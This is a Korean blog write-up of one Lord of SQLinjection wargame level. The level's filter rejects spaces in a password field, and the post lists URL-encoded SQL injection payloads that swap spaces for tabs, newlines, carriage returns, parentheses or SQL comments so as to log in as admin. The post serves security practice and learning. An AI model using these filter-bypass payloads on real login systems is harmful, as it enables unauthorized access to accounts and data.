
먼저 코드를 분석해보자.
이번엔 필터링이 하나 더 추가되었다.
[ / /i ] pw 입력값에 띄어쓰기가 포함되면 No whitespace를 반환한다.
이번에도 역시 id값 입력값은 바꿀 수가 없이 guest로 고정되어있고, pw값에 id를 조작해야 한다.
id = admin 이 들어가도록 우회해야 하는데...
일단 기본적으로 필터링 생각하지 않고 payload를 짜면 다음과 같다.
pw = ' ' or 1=1 and id = 'admin ' 이런식으로 들어가야 하는데... 이대로 넣으면

빈칸이 들어가면서 필터링이 된다.

%20만 들어가면 필터링이 된다..!!!
%20필터링을 우회할 수 있는 기법을 이용하면 될 것 같다. 다음과 같다.
%09 | tab |
%0a | \n |
%0d | \r |
+ | 연결자 |
() | 괄호 |
/* */ | 주석 |
1) tab 으로 우회
pw=%27%20or%201=1%20and%20id%20=%20%27admin
pw=%27%09or%091=1%09and%09id%09=%09%27admin
%20으로 payload를 짜고 %20인 부분을 모두 %09로 변경한다.

(성공)
2) \n 개행으로 우회
pw=%27%0aor%0a1=1%0aand%0aid%0a=%0a%27admin
%20인 부분을 모두 %0a로 변경한다.

(성공)
3)\r 개행으로 우회
pw=%27%0dor%0d1=1%0dand%0did%0d=%0d%27admin
%20인 부분을 모두 %0d로 변경한다.

(성공)
4 ) +으로 우회

+ 같은 경우 url 인코딩시 띄어쓰기로 인식하기 때문에 불가능
(실패)
5) ()로 우회

띄어쓰기를 하고 싶은 부분에 () 사용
인코딩 전 payload : pw='or(1=1)and(id)='admin
pw=%27or(1=1)and(id)=%27admin
(성공)
6) /* */ 띄어쓰기 주석으로 우회

pw='/**/or/**/1=1/**/and/**/id/**/=/**/'admin
%20인 부분을 모두 /* */ 로 변경한다.
(성공)
solve !!!!!!!!!!!
참고자료
'WEB > Lord of SQLinjection' 카테고리의 다른 글
[LOS] step.7 orge 풀이 (0) | 2023.06.13 |
---|---|
[LOS] step.6 darkelf 풀이 (0) | 2023.06.12 |
[LOS] step.3 goblin 풀이 (0) | 2023.06.12 |
[LOS] step.4 orc 풀이 (0) | 2023.06.12 |
[LOS] step.2 cobolt 풀이 (0) | 2023.05.24 |